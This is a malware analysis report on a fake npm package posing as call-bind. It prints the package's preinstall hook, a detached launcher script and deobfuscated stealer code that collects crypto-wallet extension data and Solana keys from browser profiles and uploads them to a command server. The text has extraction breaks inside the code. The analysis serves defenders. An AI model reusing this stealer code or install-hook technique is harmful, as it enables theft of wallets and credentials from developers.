REPORT: Malicious code deployment is a battle of ideas

Introduction

On July 2024 an interesting npm package was uploaded. This package was disguised as `call-bind`, a legitimate npm package with over 45 million weekly downloads. It was actually a copy of `call-bind` with modified package.json file and two additional files.

The Attack

As usual the attack starts from the modified package.json file.The modified part of package.json is quite simple, an additinal preinstall script that says `node launch.js && del launch.js`. So let's take a look at launch.js, one of two additional files mentioned earlier.

```
const { spawn } = require('child_process');
const path = require('path');
const scriptPath = path.join(__dirname, 'setup.js');

const subprocess = spawn('node', [scriptPath], {
  detached: true,
  stdio: 'ignore'
});

subprocess.unref();
```

After importing `child_process` and `path` it resolves the absolute path to setup.js which is the other additional file. Then launch.js spawns that script in a new detached process, ignoring input, output, and error streams. Last it uses the `unref()` method to insure the parent process and child process are completely independent, allowing either to close without waiting for the other.

```
Introduction
The Attack
```

When we check setup.js we can easily see that the file is obfuscated.

The obfuscation appears home-rolled and mostly involves decoding or decrypting of strings. Thankfully all the functions and information needed to decode/decrypt is in the code, so we can easily unroll it.

After unrolling the script we can see that the first step is to explore all the paths below.

```
const browserPaths = [
[
"/Library/Application Support/Google/Chrome",
"/.config/google-chrome",
"/AppData/Local/Google/Chrome/User Data",
],
[
"/Library/Application Support/BraveSoftware/Brave-Brows
er",
"/.config/BraveSoftware/Brave-Browser",
"/AppData/Local/BraveSoftware/Brave-Browser",
],
[

obfuscated setup.js file

"/Library/Application Support/com.operasoftware.Opera",
"/.config/opera",
"/AppData/Roaming/Opera Software/Opera Stable/User Dat
a",
],
];
```

These paths are Chrome, Brave, Opera browser locations for Windows, macOS, and Linux machines. If any of the paths are found it collects data from them and exfiltrates it to a remote server via ngrok. Script below is the function to collect and upload data.

```
const collectAndUploadData = async (browserPath, profilePre
fix, includeSolanaId) => {
  let basePath = browserPath;
  if (!basePath || basePath === "") return [];
  try {
    if (!pathExists(basePath)) return [];
  } catch {
return []; }
  let filesToUpload = [];
  for (let i = 0; i < 200; i++) {
    const profilePath = `${basePath}/${i === 0 ? defaultPro
file : `${userProfile} ${i}`}/${localExtensionSettingsKey}
`;
    for (let j = 0; j < extensionIds.length; j++) {
      const extensionId = extensionIds[j];
      let extensionPath = `${profilePath}/${extensionId}`;
      if (pathExists(extensionPath)) {
        try {
          const fileArray = fs[readDirSync](extensionPath);
          fileArray.forEach((file) => {
file);
const filePath = pathModule.join(extensionPath,
try {
  if (filePath.includes(logExtension) || filePath.includes(ldbExtension))
{
                filesToUpload.push({
                  [fileValue]: fs.createReadStream(filePat
h),
                  [fileOptions]: { [fileName]: `${profilePr
efix}${i}_${extensionId}_${file}` },
}); }
            } catch (fileErr) {}
          });
        } catch (readDirErr) {}
      }
} }
  if (includeSolanaId) {
    const solanaIdPath = `${homeDirectory}/.config/solana/i
d.json`;
    if (pathExists(solanaIdPath)) {
      try {
        filesToUpload.push({
          [fileValue]: fs.createReadStream(solanaIdPath),
          [fileOptions]: { [fileName]: solanaIdFileName },
        });
      } catch (solanaIdErr) {}
    }
}
```

```
  const requestBody = { type: profilePathPrefix, hid: osTyp
e, name: hostname, [multiFile]: filesToUpload };
  try {
    const requestOptions = { [fileURL]: `${baseURL}${"/uplo
ad/"}`, [formData]: requestBody };
    httpRequest[postRequest](requestOptions, (err, respons
e, body) => {});
  } catch (httpErr) {}
    return filesToUpload;
};
```

It loops through up to 200 user profiles, looking specifically for the following extension folders.

```
const extensionIds = [
"fhbohimaelbohpjbbldcngcnapndodjp",
"hifafgmccdpekplomjjkcfgodnhcellj",
"nkbihfbeogaeaoehlefnkodbefgpgknn",
"ibnejdfjmmkpcnlpebklmnkoeoihofec",
"hnfanknocfeofbddgcijnmhnfnkdnaad",
"ejbalbakoplchlghecdalmeeeajnimhm",
"bfnaelmomeimhlpmgjnjophhpkkoljpa",
"fnjhmkhhmkbjkkabndcnnogagogbneec",
"aeachknmefphepccionboohckonoeemg",
];
```

All the paths are for crypto wallet extensions. If the extension folder is found, itsearches for anything inside it with a .log or .ldb extension which are log and database files used by the extesions. It collects these files into the filesToUpload array. Then it checks specifiaclly if a Solana ID file was found and adds that to the list if so. Once every information is collected it prepares a request body and makes a POST request with machine info and the collected files to the C2 server. When all information is uploaded to the C2 server it deletes setup.js and terminates self process.

This is a offline tool, your data stays locally and is not send to any server! Feedback & Bug Reports